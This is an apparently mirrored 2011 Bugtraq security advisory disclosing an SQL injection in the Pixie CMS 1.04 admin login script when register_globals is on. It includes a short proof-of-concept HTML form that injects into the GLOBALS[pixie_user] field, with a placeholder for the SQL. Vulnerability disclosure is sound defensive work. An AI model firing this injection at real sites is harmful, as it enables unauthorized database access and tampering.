SQL Injection in Pixie

From: advisory@htbridge.ch
To: bugtraq@securityfocus.com
Subject: SQL Injection in Pixie

Vulnerability ID: HTB22786
Reference: http://www.htbridge.ch/advisory/sql_injection_in_pixie_1.html
Product: Pixie
Vendor: Lucid Crew  ( http://www.getpixie.co.uk/ ) 
Vulnerable Version: 1.04
Vendor Notification: 06 January 2011 
Vulnerability Type: SQL Injection
Status: Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/admin/index.php" script to properly sanitize user-supplied input in "GLOBALS['pixie_user']" variable when register_globals is on.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:

<form action="http://[host]/admin/index.php" method="post" name="main" >
<input name="username" value="1" type="hidden">
<input name="password" value="1" type="hidden">
<input name="login_submit" value="1" type="hidden">
<input name="GLOBALS[pixie_user]" value="123'SQL_CODE_HERE" type="hidden">
<input type="submit" value="submit" name="submit" />

Copyright © 1995-2020 LinuxRocket.net. All rights reserved.